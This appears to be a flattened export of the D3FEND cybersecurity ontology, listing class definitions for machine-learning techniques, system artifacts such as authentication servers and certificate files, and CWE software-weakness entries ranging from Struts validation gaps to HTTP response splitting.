Application Shim
type: Class
definition: An application shim adapts an application program to run on a version of a platform for which they were not originally created. Most commonly "Application Shimming" refers to use of The Windows Application Compatibility Toolkit (ACT) provides backward compatibility by simulating the behavior of older version of Windows.
subclass of: Shim

Association Rule Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-ARL
definition: Association rule learning is a rule-based machine learning method for discovering interesting relations between variables in large databases.
kb-article: ## References Association rule learning. (n.d.). Wikipedia. [Link](https://en.wikipedia.org/wiki/Association_rule_learning)
subclass of: UnsupervisedLearning

Asymmetric Feature-based Transfer Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-AFTL
definition: Homogeneous (where the metrics are the same for both source and target) asymmetric transformation mapping transforms the source feature space to align with that of the target or the target to that of the source. This, in effect, bridges the feature space gap and reduces the problem into a homogeneous transfer problem when further distribution differences need to be corrected.
kb-article: ## References Day, O., & Khoshgoftaar, T.M. (2017). A survey on heterogeneous transfer learning. Journal of Big Data, 4(1), 29. [Link](https://doi.org/10.1186/s40537-017-0089-0).
subclass of: HomogenousTransferLearning

Authenticate User
type: Class
type: NamedIndividual
authenticates: UserAccount
subclass of: Restriction
  on property: authenticates
  some values from: UserAccount
subclass of: SystemCall

Authentication Server
type: Class
type: NamedIndividual
contains: Authentication Service Application
definition: An authentication server provides a network service that applications use to authenticate the credentials, usually account names and passwords, of their users. When a client submits a valid set of credentials, it receives a cryptographic ticket that it can subsequently use to access various services. Major authentication algorithms include passwords, Kerberos, and public key encryption.
manages: AuthenticationService
subclass of: Restriction
  on property: manages
  some values from: AuthenticationService
subclass of: Restriction
  on property: contains
  some values from: Authentication Service Application
subclass of: Server

Authorization Log
type: Class
type: NamedIndividual
definition: A log of authorization events.
records: NetworkResourceAccess
subclass of: Restriction
  on property: records
  some values from: NetworkResourceAccess
subclass of: EventLog

Autoencoding
type: Class
type: NamedIndividual
d3fend-id: D3A-AUT
definition: Autoencoders are specific type of deep learning architecture used for learning representation of data, typically for the purpose of dimensionality reduction. This is achieved by designing deep learning architecture that aims that copying input layer at its output layer.
kb-article: ## References SOCR. (n.d.). ABIDE Autoencoder. [Link](https://socr.umich.edu/HTML5/ABIDE_Autoencoder/#:~:text=In%20simple%20words%2C%20autoencoders%20are,layer%20at%20its%20output%20layer.)
subclass of: DimensionReduction

Autoregressive Model
type: Class
type: NamedIndividual
d3fend-id: D3A-AM
definition: An autoregressive (AR) model is a representation of a type of random process; as such, it is used to describe certain time-varying processes in nature, economics, behavior, etc.
kb-article: ## References Wikipedia. (n.d.). Autoregressive model. [Link](https://en.wikipedia.org/wiki/Autoregressive_model)
synonym: AR Model
subclass of: TimeSeriesAnalysis

BERT
type: Class
type: NamedIndividual
d3fend-id: D3A-BER
definition: Bidirectional Encoder Representations from Transformers (BERT) is based on a deep learning model in which every output element is connected to every input element, and the weightings between them are dynamically calculated based upon their connection.
kb-article: ## References BERT (language model). (n.d.). In TechTarget. [Link](https://www.techtarget.com/searchenterpriseai/definition/BERT-language-model) BERT (language model). (n.d.). In Wikipedia. [Link](https://en.wikipedia.org/wiki/BERT_(language_model))
synonym: Bidirectional Encoder Representations from Transformers
subclass of: Transformer-basedLearning

BSD Process
type: Process
type: NamedIndividual

Barcode Scanner Input Device
type: Class
definition: A barcode reader (or barcode scanner) is an optical scanner that can read printed barcodes, decode the data contained in the barcode and send the data to a computer. Like a flatbed scanner, it consists of a light source, a lens and a light sensor translating for optical impulses into electrical signals. Additionally, nearly all barcode readers contain decoder circuitry that can analyze the barcode's image data provided by the sensor and sending the barcode's content to the scanner's output port.
subclass of: ImageScannerInputDevice
alternative label: Barcode Reader

Bash Script File
type: ExecutableScript
type: NamedIndividual

Bayes Optimal Classifier
type: Class
type: NamedIndividual
d3fend-id: D3A-BOC
definition: A probabilistic model that makes the most probable prediction for a new example.
kb-article: ## References Bayes Optimal Classifier. Machine Learning Mastery. [Link](https://machinelearningmastery.com/bayes-optimal-classifier/). Ensemble learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Ensemble_learning).
subclass of: EnsembleLearning

Bayesian Estimation
type: Class
type: NamedIndividual
d3fend-id: D3A-BE
definition: A Bayes estimator or a Bayes action is an estimator or decision rule that minimizes the posterior expected value of a loss function (i.e., the posterior expected loss).
kb-article: ## References Wikipedia. (n.d.). Bayes estimator. [Link](https://en.wikipedia.org/wiki/Bayes_estimator)
subclass of: Bayesian Method

Bayesian Hypothesis Testing
type: Class
type: NamedIndividual
d3fend-id: D3A-BHT
definition: Bayesian hypothesis testing can be framed as a special case of model comparison where a model refers to a likelihood function and a prior distribution.
kb-article: ## How it works Given two competing hypotheses and some relevant data, Bayesian hypothesis testing begins by specifying separate prior distributions to quantitatively describe each hypothesis. The combination of the likelihood function for the observed data with each of the prior distributions yields hypothesis-specific models. For each of the hypothesis-specific models, averaging (ie, integrating) the likelihood with respect to the prior distribution across the entire parameter space yields the probability of the data under the model and, therefore, the corresponding hypothesis. This quantity is more commonly referred to as the marginal likelihood and represents the average fit of the model to the data. The ratio of the marginal likelihoods for both hypothesis-specific models is known as the Bayes factor. ## References Baig, S. A., PhD. (2020). Bayesian Inference: An Introduction to Hypothesis Testing Using Bayes Factors. Nicotine & Tobacco Research, 22(7), 1244-1246. [Link](https://academic.oup.com/ntr/article/22/7/1244/5613971)
subclass of: Bayesian Method

Bayesian Linear Regression Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-BLRL
definition: A supervised learning method that builds a Bayesian linear regression model using training data.
kb-article: ## References Wikipedia. (n.d.). Bayesian linear regression. [Link](https://en.wikipedia.org/wiki/Bayesian_linear_regression)
subclass of: RegressionAnalysisLearning

Bayesian Model Averaging
type: Class
type: NamedIndividual
d3fend-id: D3A-BMA
definition: A parameter estimate (or a prediction of new observations) obtained by averaging the estimates (or predictions) of the different models under consideration, each weighted by its model probability.
kb-article: ## References Ensemble learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Ensemble_learning). Bayesian model average: A parameter estimation approach to model agnostic ensemble learning. (2019). Journal of Machine Learning for Modeling and Computing, 1(2), 61-70. [Link](https://journals.sagepub.com/doi/full/10.1177/2515245919898657#:~:text=Bayesian%20model%20average%3A%20A%20parameter,weighted%20by%20its%20model%20probability).
subclass of: EnsembleLearning

Bayesian Model Combination
type: Class
type: NamedIndividual
d3fend-id: D3A-BMC
definition: Bayesian model combination (BMC) is an algorithmic correction to Bayesian model averaging (BMA). Instead of sampling each model in the ensemble individually, it samples from the space of possible ensembles (with model weights drawn randomly from a Dirichlet distribution having uniform parameters)
kb-article: ## References Ensemble learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Ensemble_learning). Shultz, K. M., & Peterson, L. E. (2011). Model-averaged confidence intervals for ensemble learning. In *International Joint Conference on Neural Networks* (pp. 2677-2684). [Link](https://axon.cs.byu.edu/papers/Kristine.ijcnn2011.pdf).
subclass of: EnsembleLearning

Binary Classification
type: Class
subclass of: Classifying

Bitmap Image File
type: Class
type: NamedIndividual
contains: Bitmap Image
definition: A file that contains graphics data represented in a bitmap.
subclass of: Restriction
  on property: contains
  some values from: Bitmap Image
subclass of: ImageFile

Boolean Expression Matching
type: Class
type: NamedIndividual
d3fend-id: D3A-BEM
definition: Boolean expression matching produces a Boolean truth value for a given boolean expression and assignment of values to variables in the expression.
kb-article: ## How it works A Boolean expression is an expression used in programming languages that produces a Boolean value when evaluated. A Boolean value is either true or false. A Boolean expression may be composed of a combination of the Boolean constants true or false, Boolean-typed variables, Boolean-valued operators, and Boolean-valued functions. Boolean expressions correspond to propositional formulas in logic and are a special case of Boolean circuits. ## References 1. Boolean expression. (2022, April 25). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Boolean_expression) 2. Boolean algebra. (2022, May 19). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Boolean_expression)
subclass of: LogicalRules

Boosting
type: Class
type: NamedIndividual
d3fend-id: D3A-BOO
definition: Boosting is a sequential process where each subsequent model attempts to correct the errors of the previous model
kb-article: ## How it works Boosting consists of using sequentially weak learners where each iteration’s training focuses on previously misclassified instances in order to improve on the previous iteration. This process is continued iteratively until the final prediction is made by aggregating the previous predictions. ## Considerations Boosting can be computationally expensive, prone to overfitting, and slower to train compared to other ensemble methods. There are three main types of Boosting algorithms - Adaptive Boosting Adaptive Boosting (sometimes called AdaBoost) works by adding equal importance to each piece of a dataset and running it through the base learning algorithms. Every algorithm that errors, the boosting algorithm assigns a higher importance to. This continues until an acceptable level of confidence is reached. - Gradient Boosting Gradient Boosting starts by training multiple models simultaneously to gather a strong estimate of strength to build new base learning algorithms. - XGBoosting XGBoosting is a scalable tree boosting model. Using decision trees, weight is assigned to each variable and put into a decision tree. Outputs that are classified by the algorithm as wrong or weak are put into a second decision tree and the results form a stronger model. ## References Sciencedirect. (n.d.). Semi-supervised learning: An overview. [Link](https://www.sciencedirect.com/science/article/pii/S1319157823000228)
subclass of: EnsembleLearning

Bucket of Models
type: Class
type: NamedIndividual
d3fend-id: D3A-BOM
definition: A "bucket of models" is an ensemble technique in which a model selection algorithm is used to choose the best model for each problem. When tested with only one problem, a bucket of models can produce no better results than the best model in the set, but when evaluated across many problems, it will typically produce much better results, on average, than any model in the set.
kb-article: ## References Ensemble learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Ensemble_learning).
subclass of: EnsembleLearning

Bus Network Node
type: Class
type: NamedIndividual
connected-to: Bus Network
definition: A device or logical endpoint whose interface is directly connected to a bus and exchanges data over the shared medium using the protocol implemented on that interface.
transmits: BusNetworkTraffic
subclass of: Restriction
  on property: connected-to
  some values from: Bus Network
subclass of: Restriction
  on property: transmits
  some values from: BusNetworkTraffic
subclass of: Host

Business Communication Platform Client
type: Class
definition: Client software to enable the process of sharing information between employees within and outside a company. Business communication encompasses topics such as marketing, brand management, customer relations, consumer behavior, advertising, public relations, corporate communication, community engagement, reputation management, interpersonal communication, employee engagement, and event management. It is closely related to the fields of professional communication and technical communication.
subclass of: CollaborativeSoftware

C4.5
type: Class
type: NamedIndividual
d3fend-id: D3A-C4.
definition: C4.5 is an algorithm that is strongly based off ID3. It creates decision trees the same way as ID3. C4.5 improves on several aspects of ID3, including handling discreet variables, handling training data with missing values, and has the ability to automatically prune the decision trees it creates.
kb-article: ## References C4.5 algorithm. Wikipedia. [Link](https://en.wikipedia.org/wiki/C4.5_algorithm).
subclass of: DecisionTree

C5.0
type: Class
type: NamedIndividual
d3fend-id: D3A-C5.
definition: C5.0 is the next version of C4.5, which in turn is the upgrade from ID3. The only difference between C5.0 and C4.5 is some improvements made to C5.0.
kb-article: ## References C4.5 algorithm. Wikipedia. [Link](https://en.wikipedia.org/wiki/C4.5_algorithm).
subclass of: DecisionTree

CA Certificate File
type: Class
definition: A file containing a digital certificate issued by a certificate authority (CA). Certificate authorities store, issue, and sign digital certificates used as part of the public key infrastructure.
subclass of: CertificateFile

Exploitation of Transient Instruction Execution
type: Common Attack Pattern
type: Class
type: NamedIndividual
capec-id: CAPEC-553
subclass of: Common Attack Pattern

Sensitive Cookie Without 'HttpOnly' Flag
type: Class
cwe-id: CWE-1004
definition: The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.
subclass of: CWE-732

Insufficient Visual Distinction of Homoglyphs Presented to User
type: Class
cwe-id: CWE-1007
definition: The product displays information or identifiers to a user, but the display mechanism does not make it easy for the user to distinguish between visually similar or identical glyphs (homoglyphs), which may cause the user to misinterpret a glyph and perform an unintended, insecure action.
synonym: Homograph Attack
subclass of: User Interface (UI) Misrepresentation of Critical Information

Struts: Duplicate Validation Forms
type: Class
cwe-id: CWE-102
definition: The product uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.
subclass of: CWE-1173
subclass of: Use of Multiple Resources with Duplicate Identifier

Improper Restriction of Rendered UI Layers or Frames
type: Class
cwe-id: CWE-1021
definition: The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain, which can lead to user confusion about which interface the user is interacting with.
synonym: Clickjacking
synonym: Tapjacking
synonym: UI Redress Attack
subclass of: Unintended Proxy or Intermediary ('Confused Deputy')
subclass of: User Interface (UI) Misrepresentation of Critical Information

Use of Web Link to Untrusted Target with window.opener Access
type: Class
cwe-id: CWE-1022
definition: The web application produces links to untrusted external sites outside of its sphere of control, but it does not properly prevent the external site from modifying security-critical properties of the window.opener object, such as the location property.
synonym: tabnabbing
subclass of: CWE-266

Comparison of Incompatible Types
type: Class
cwe-id: CWE-1024
definition: The product performs a comparison between two entities, but the entities are of different, incompatible types that cannot be guaranteed to provide correct results when they are directly compared.
subclass of: CWE-697

Struts: Incomplete validate() Method Definition
type: Class
cwe-id: CWE-103
definition: The product has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().
subclass of: CWE-573

Processor Optimization Removal or Modification of Security-critical Code
type: Class
cwe-id: CWE-1037
definition: The developer builds a security-critical protection mechanism into the software, but the processor optimizes the execution of the program such that the mechanism is removed or modified.
subclass of: Insecure Automated Optimizations

Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations
type: Class
label: Inadequate Detection or Handling of Adversarial Input Perturbations in Automated Recognition Mechanism
cwe-id: CWE-1039
definition: The product uses an automated mechanism such as machine learning to recognize complex data inputs (e.g. image or audio) as a particular concept or category, but it does not properly detect or handle inputs that have been modified or constructed in a way that causes the mechanism to detect a different, incorrect concept.
subclass of: CWE-693
subclass of: CWE-697

Struts: Form Bean Does Not Extend Validation Class
type: Class
cwe-id: CWE-104
definition: If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.
subclass of: CWE-573

Use of Redundant Code
type: Class
cwe-id: CWE-1041
definition: The product has multiple functions, methods, procedures, macros, etc. that contain the same code.
subclass of: CWE-710

Static Member Data Element outside of a Singleton Class Element
type: Class
cwe-id: CWE-1042
definition: The code contains a member element that is declared as static (but not final), in which its parent class element is not a singleton class - that is, a class element that can be used only once in the 'to' association of a Create action.
subclass of: CWE-1176

Data Element Aggregating an Excessively Large Number of Non-Primitive Elements
type: Class
cwe-id: CWE-1043
definition: The product uses a data element that has an excessively large number of sub-elements with non-primitive data types such as structures or aggregated objects.
subclass of: CWE-1093

Architecture with Number of Horizontal Layers Outside of Expected Range
type: Class
cwe-id: CWE-1044
definition: The product's architecture contains too many - or too few - horizontal layers.
subclass of: CWE-710

Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor
type: Class
cwe-id: CWE-1045
definition: A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.
subclass of: CWE-1076

Creation of Immutable Text Using String Concatenation
type: Class
cwe-id: CWE-1046
definition: The product creates an immutable text string using string concatenation operations.
subclass of: CWE-1176

Modules with Circular Dependencies
type: Class
cwe-id: CWE-1047
definition: The product contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.
subclass of: CWE-1120

Invokable Control Element with Large Number of Outward Calls
type: Class
cwe-id: CWE-1048
definition: The code contains callable control elements that contain an excessively large number of references to other application objects external to the context of the callable, i.e. a Fan-Out value that is excessively large.
subclass of: CWE-710

Excessive Data Query Operations in a Large Data Table
type: Class
cwe-id: CWE-1049
definition: The product performs a data query with a large number of joins and sub-queries on a large data table.
subclass of: CWE-1176

Struts: Form Field Without Validator
type: Class
cwe-id: CWE-105
definition: The product has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.
subclass of: CWE-1173

Excessive Platform Resource Consumption within a Loop
type: Class
cwe-id: CWE-1050
definition: The product has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors.
subclass of: CWE-405

Initialization with Hard-Coded Network Resource Configuration Data
type: Class
cwe-id: CWE-1051
definition: The product initializes data using hard-coded values that act as network resource identifiers.
subclass of: CWE-1419
subclass of: CWE-665

Excessive Use of Hard-Coded Literals in Initialization
type: Class
cwe-id: CWE-1052
definition: The product initializes a data element using a hard-coded literal that is not a simple integer or static constant element.
subclass of: CWE-1419
subclass of: CWE-665

Missing Documentation for Design
type: Class
cwe-id: CWE-1053
definition: The product does not have documentation that represents how it is designed.
subclass of: CWE-1059

Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer
type: Class
cwe-id: CWE-1054
definition: The code at one architectural layer invokes code that resides at a deeper layer than the adjacent layer, i.e., the invocation skips at least one layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer.
subclass of: CWE-1061

Multiple Inheritance from Concrete Classes
type: Class
cwe-id: CWE-1055
definition: The product contains a class with inheritance from more than one concrete class.
subclass of: CWE-1093

Invokable Control Element with Variadic Parameters
type: Class
cwe-id: CWE-1056
definition: A named-callable or method control element has a signature that supports a variable (variadic) number of parameters or arguments.
subclass of: CWE-1120

Data Access Operations Outside of Expected Data Manager Component
type: Class
cwe-id: CWE-1057
definition: The product uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.
subclass of: CWE-1061

Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element
type: Class
cwe-id: CWE-1058
definition: The code contains a function or method that operates in a multi-threaded environment but owns an unsafe non-final static storable or member data element.
subclass of: CWE-662

Struts: Plug-in Framework not in Use
type: Class
cwe-id: CWE-106
definition: When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.
subclass of: CWE-1173

Excessive Number of Inefficient Server-Side Data Accesses
type: Class
cwe-id: CWE-1060
definition: The product performs too many data queries without using efficient data processing functionality such as stored procedures.
subclass of: CWE-1120

Parent Class with References to Child Class
type: Class
cwe-id: CWE-1062
definition: The code has a parent class that contains references to a child class, its methods, or its members.
subclass of: CWE-1061

Creation of Class Instance within a Static Code Block
type: Class
cwe-id: CWE-1063
definition: A static code block creates an instance of a class.
subclass of: CWE-1176

Invokable Control Element with Signature Containing an Excessive Number of Parameters
type: Class
cwe-id: CWE-1064
definition: The product contains a function, subroutine, or method whose signature has an unnecessarily large number of parameters/arguments.
subclass of: CWE-1120

Runtime Resource Management Control Element in a Component Built to Run on Application Servers
type: Class
cwe-id: CWE-1065
definition: The product uses deployed components from application servers, but it also uses low-level functions/methods for management of resources, instead of the API provided by the application server.
subclass of: CWE-710

Missing Serialization Control Element
type: Class
cwe-id: CWE-1066
definition: The product contains a serializable data element that does not have an associated serialization method.
subclass of: CWE-710

Excessive Execution of Sequential Searches of Data Resource
type: Class
cwe-id: CWE-1067
definition: The product contains a data query against an SQL table or view that is configured in a way that does not utilize an index and may cause sequential searches to be performed.
subclass of: CWE-1176

Inconsistency Between Implementation and Documented Design
type: Class
cwe-id: CWE-1068
definition: The implementation of the product is not consistent with the design as described within the relevant documentation.
subclass of: CWE-710

Empty Exception Block
type: Class
cwe-id: CWE-1069
definition: An invokable code block contains an exception handling block that does not contain any code, i.e. is empty.
subclass of: Empty Code Block

Struts: Unused Validation Form
type: Class
cwe-id: CWE-107
definition: An unused validation form indicates that validation logic is not up-to-date.
subclass of: CWE-1164

Serializable Data Element Containing non-Serializable Item Elements
type: Class
cwe-id: CWE-1070
definition: The product contains a serializable, storable data element such as a field or member, but the data element contains member elements that are not serializable.
subclass of: CWE-1076
subclass of: CWE-710

Data Resource Access without Use of Connection Pooling
type: Class
cwe-id: CWE-1072
definition: The product accesses a data resource through a database without using a connection pooling capability.
subclass of: CWE-405

Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses
type: Class
cwe-id: CWE-1073
definition: The product contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities.
subclass of: CWE-405

Class with Excessively Deep Inheritance
type: Class
cwe-id: CWE-1074
definition: A class has an inheritance level that is too high, i.e., it has a large number of parent classes.
subclass of: CWE-1093

Unconditional Control Flow Transfer outside of Switch Block
type: Class
cwe-id: CWE-1075
definition: The product performs unconditional control transfer (such as a "goto") in code outside of a branching structure such as a switch block.
subclass of: CWE-1120

Floating Point Comparison with Incorrect Operator
type: Class
cwe-id: CWE-1077
definition: The code performs a comparison such as an equality test between two float (floating point) values, but it uses comparison operators that do not account for the possibility of loss of precision.
subclass of: CWE-697

Parent Class without Virtual Destructor Method
type: Class
cwe-id: CWE-1079
definition: A parent class contains one or more child classes, but the parent class does not have a virtual destructor method.
subclass of: CWE-1076

Struts: Unvalidated Action Form
type: Class
cwe-id: CWE-108
definition: Every Action Form must have a corresponding validation form.
subclass of: CWE-1173

Source Code File with Excessive Number of Lines of Code
type: Class
cwe-id: CWE-1080
definition: A source code file has too many lines of code.
subclass of: CWE-1120

Class Instance Self Destruction Control Element
type: Class
cwe-id: CWE-1082
definition: The code contains a class instance that calls the method or function to delete or destroy itself.
subclass of: CWE-1076

Data Access from Outside Expected Data Manager Component
type: Class
cwe-id: CWE-1083
definition: The product is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.
subclass of: CWE-1061

Invokable Control Element with Excessive File or Data Access Operations
type: Class
cwe-id: CWE-1084
definition: A function or method contains too many operations that utilize a data manager or file resource.
subclass of: CWE-405

Invokable Control Element with Excessive Volume of Commented-out Code
type: Class
cwe-id: CWE-1085
definition: A function, method, procedure, etc. contains an excessive amount of code that has been commented out within its body.
subclass of: CWE-1078

Class with Excessive Number of Child Classes
type: Class
cwe-id: CWE-1086
definition: A class contains an unnecessarily large number of children.
subclass of: CWE-1093

Class with Virtual Method without a Virtual Destructor
type: Class
cwe-id: CWE-1087
definition: A class contains a virtual method, but the method does not have an associated virtual destructor.
subclass of: CWE-1076

Synchronous Access of Remote Resource without Timeout
type: Class
cwe-id: CWE-1088
definition: The code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite.
subclass of: CWE-821

Large Data Table with Excessive Number of Indices
type: Class
cwe-id: CWE-1089
definition: The product uses a large data table that contains an excessively large number of indices.
subclass of: CWE-405

Struts: Validator Turned Off
type: Class
cwe-id: CWE-109
definition: Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.
subclass of: CWE-1173

Method Containing Access of a Member Element from Another Class
type: Class
cwe-id: CWE-1090
definition: A method for a class performs an operation that directly accesses a member element from another class.
subclass of: CWE-1061

Use of Object without Invoking Destructor Method
type: Class
cwe-id: CWE-1091
definition: The product contains a method that accesses an object but does not later invoke the element's associated finalize/destructor method.
subclass of: CWE-1076
subclass of: CWE-772

Use of Same Invokable Control Element in Multiple Architectural Layers
type: Class
cwe-id: CWE-1092
definition: The product uses the same control element across multiple architectural layers.
subclass of: CWE-710

Excessive Index Range Scan for a Data Resource
type: Class
cwe-id: CWE-1094
definition: The product contains an index range scan for a large data table, but the scan can cover a large number of rows.
subclass of: CWE-405

Loop Condition Value Update within the Loop
type: Class
cwe-id: CWE-1095
definition: The product uses a loop with a control flow condition based on a value that is updated within the body of the loop.
subclass of: CWE-1120

Singleton Class Instance Creation without Proper Locking or Synchronization
type: Class
cwe-id: CWE-1096
definition: The product implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.
subclass of: CWE-820

Persistent Storable Data Element without Associated Comparison Control Element
type: Class
cwe-id: CWE-1097
definition: The product uses a storable data element that does not have all of the associated functions or methods that are necessary to support comparison.
subclass of: CWE-1076

Data Element containing Pointer Item without Proper Copy Control Element
type: Class
cwe-id: CWE-1098
definition: The code contains a data element with a pointer that does not have an associated copy or constructor method.
subclass of: CWE-1076

Inconsistent Naming Conventions for Identifiers
type: Class
cwe-id: CWE-1099
definition: The product's code, documentation, or other artifacts do not consistently use the same naming conventions for variables, callables, groups of related callables, I/O capabilities, data types, file names, or similar types of elements.
subclass of: CWE-1078

ASP.NET Misconfiguration: Creating Debug Binary
type: Class
cwe-id: CWE-11
definition: Debugging messages help attackers learn about the system and plan a form of attack.
subclass of: Active Debug Code

Struts: Validator Without Form Field
type: Class
cwe-id: CWE-110
definition: Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.
subclass of: CWE-1164

Insufficient Isolation of System-Dependent Functions
type: Class
cwe-id: CWE-1100
definition: The product or code does not isolate system-dependent functionality into separate standalone modules.
subclass of: CWE-1061

Reliance on Runtime Component in Generated Code
type: Class
cwe-id: CWE-1101
definition: The product uses automatically-generated code that cannot be executed without a specific runtime support component.
subclass of: CWE-710

Reliance on Machine-Dependent Data Representation
type: Class
cwe-id: CWE-1102
definition: The code uses a data representation that relies on low-level data representation or constructs that may vary across different processors, physical machines, OSes, or other physical components.
subclass of: CWE-758

Use of Platform-Dependent Third Party Components
type: Class
cwe-id: CWE-1103
definition: The product relies on third-party components that do not provide equivalent functionality across all desirable platforms.
subclass of: CWE-758

Use of Unmaintained Third Party Components
type: Class
cwe-id: CWE-1104
definition: The product relies on third-party components that are not actively supported or maintained by the original developer or a trusted proxy for the original developer.
subclass of: Reliance on Insufficiently Trustworthy Component

Insufficient Use of Symbolic Constants
type: Class
cwe-id: CWE-1106
definition: The source code uses literal constants that may need to change or evolve over time, instead of using symbolic constants.
subclass of: CWE-1078

Insufficient Isolation of Symbolic Constant Definitions
type: Class
cwe-id: CWE-1107
definition: The source code uses symbolic constants, but it does not sufficiently place the definitions of these constants into a more centralized or isolated location.
subclass of: CWE-1078

Excessive Reliance on Global Variables
type: Class
cwe-id: CWE-1108
definition: The code is structured in a way that relies too much on using or setting global variables throughout various points in the code, instead of preserving the associated information in a narrower, more local context.
subclass of: CWE-1076

Use of Same Variable for Multiple Purposes
type: Class
cwe-id: CWE-1109
definition: The code contains a callable, block, or other code element in which the same variable is used to control more than one unique task or store more than one instance of data.
subclass of: CWE-1078

Direct Use of Unsafe JNI
type: Class
cwe-id: CWE-111
definition: When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.
subclass of: CWE-695

Incomplete Design Documentation
type: Class
cwe-id: CWE-1110
definition: The product's design documentation does not adequately describe control flow, data flow, system initialization, relationships between tasks, components, rationales, or other important aspects of the design.
subclass of: CWE-1059

Incomplete I/O Documentation
type: Class
cwe-id: CWE-1111
definition: The product's documentation does not adequately define inputs, outputs, or system/software interfaces.
subclass of: CWE-1059

Incomplete Documentation of Program Execution
type: Class
cwe-id: CWE-1112
definition: The document does not fully define all mechanisms that are used to control or influence how product-specific programs are executed.
subclass of: CWE-1059

Inappropriate Comment Style
type: Class
cwe-id: CWE-1113
definition: The source code uses comment styles or formats that are inconsistent or do not follow expected standards for the product.
subclass of: CWE-1078

Inappropriate Whitespace Style
type: Class
cwe-id: CWE-1114
definition: The source code contains whitespace that is inconsistent across the code or does not follow expected standards for the product.
subclass of: CWE-1078

Source Code Element without Standard Prologue
type: Class
cwe-id: CWE-1115
definition: The source code contains elements such as source files that do not consistently provide a prologue or header that has been standardized for the project.
subclass of: CWE-1078

Inaccurate Comments
type: Class
cwe-id: CWE-1116
definition: The source code contains comments that do not accurately describe or explain aspects of the portion of the code with which the comment is associated.
subclass of: CWE-1078

Callable with Insufficient Behavioral Summary
type: Class
cwe-id: CWE-1117
definition: The code contains a function or method whose signature and/or associated inline documentation does not sufficiently describe the callable's inputs, outputs, side effects, assumptions, or return codes.
subclass of: CWE-1078

Insufficient Documentation of Error Handling Techniques
type: Class
cwe-id: CWE-1118
definition: The documentation does not sufficiently describe the techniques that are used for error handling, exception processing, or similar mechanisms.
subclass of: CWE-1059

Excessive Use of Unconditional Branching
type: Class
cwe-id: CWE-1119
definition: The code uses too many unconditional branches (such as "goto").
subclass of: CWE-1120

Missing XML Validation
type: Class
cwe-id: CWE-112
definition: The product accepts XML from an untrusted source but does not validate the XML against the proper schema.
subclass of: Improper Validation of Syntactic Correctness of Input

Excessive McCabe Cyclomatic Complexity
type: Class
cwe-id: CWE-1121
definition: The code contains McCabe cyclomatic complexity that exceeds a desirable maximum.
subclass of: CWE-1120

Excessive Halstead Complexity
type: Class
cwe-id: CWE-1122
definition: The code is structured in a way that a Halstead complexity measure exceeds a desirable maximum.
subclass of: CWE-1120

Excessive Use of Self-Modifying Code
type: Class
cwe-id: CWE-1123
definition: The product uses too much self-modifying code.
subclass of: CWE-1120

Excessively Deep Nesting
type: Class
cwe-id: CWE-1124
definition: The code contains a callable or other code grouping in which the nesting / branching is too deep.
subclass of: CWE-1120

Excessive Attack Surface
type: Class
cwe-id: CWE-1125
definition: The product has an attack surface whose quantitative measurement exceeds a desirable maximum.
subclass of: CWE-1120

Declaration of Variable with Unnecessarily Wide Scope
type: Class
cwe-id: CWE-1126
definition: The source code declares a variable in one scope, but the variable is only used within a narrower scope.
subclass of: CWE-710

Compilation with Insufficient Warnings or Errors
type: Class
cwe-id: CWE-1127
definition: The code is compiled without sufficient warnings enabled, which may prevent the detection of subtle bugs or quality issues.
subclass of: CWE-710

Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
type: Class
cwe-id: CWE-113
definition: The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.
synonym: HTTP Request Splitting
synonym: HTTP Response Splitting
subclass of: CWE-436
subclass of: Improper Neutralization of CRLF Sequences ('CRLF Injection')

Process Control
type: Class
cwe-id: CWE-114
definition: Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.
subclass of: External Control of File Name or Path

Misinterpretation of Input
type: Class
cwe-id: CWE-115
definition: The product misinterprets an input, whether from an attacker or another product, in a security-relevant fashion.
subclass of: CWE-436

Improper Output Neutralization for Logs
type: Class
cwe-id: CWE-117
definition: The product constructs a log message from external input, but it does not neutralize or incorrectly neutralizes special elements when the message is written to a log file.
synonym: Log forging
subclass of: CWE-116

ASP.NET Misconfiguration: Improper Model Validation
type: Class
cwe-id: CWE-1174
